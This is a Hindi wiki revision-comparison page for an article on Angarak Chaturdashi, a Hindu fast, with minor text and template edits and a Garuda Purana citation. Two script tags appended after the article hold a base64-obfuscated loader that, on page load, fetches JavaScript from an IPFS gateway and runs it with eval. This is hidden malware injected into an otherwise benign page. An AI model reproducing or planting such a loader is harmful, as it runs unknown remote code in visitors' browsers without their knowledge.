"अड़्गारक चतुर्दशी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
छो (Text replace - ")</ref" to "</ref")
 
(3 सदस्यों द्वारा किए गए बीच के 7 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[गरुड़ पुराण]] <ref>(गरुड़ पुराण 610)</ref> में वर्णित है कि यदि किसी मंगल को चतुर्थी या चतुर्दशी हो तो वह सौ [[सूर्य ग्रहण|सूर्य ग्रहणों]] सनस्थं से अधिक फलदायी होती है।
*[[गरुड़ पुराण]]<ref>गरुड़ पुराण 610</ref> में वर्णित है कि यदि किसी मंगल को चतुर्थी या चतुर्दशी हो तो वह सौ [[सूर्य ग्रहण|सूर्य ग्रहणों]] सनस्थं से अधिक फलदायी होती है।
{{लेख प्रगति
{{संदर्भ ग्रंथ}}
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==संबंधित लिंक==
==संबंधित लेख==
{{पर्व और त्योहार}}
{{पर्व और त्योहार}}
{{व्रत और उत्सव}}
{{व्रत और उत्सव}}

12:36, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • गरुड़ पुराण[1] में वर्णित है कि यदि किसी मंगल को चतुर्थी या चतुर्दशी हो तो वह सौ सूर्य ग्रहणों सनस्थं से अधिक फलदायी होती है।

टीका टिप्पणी और संदर्भ

  1. गरुड़ पुराण 610

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>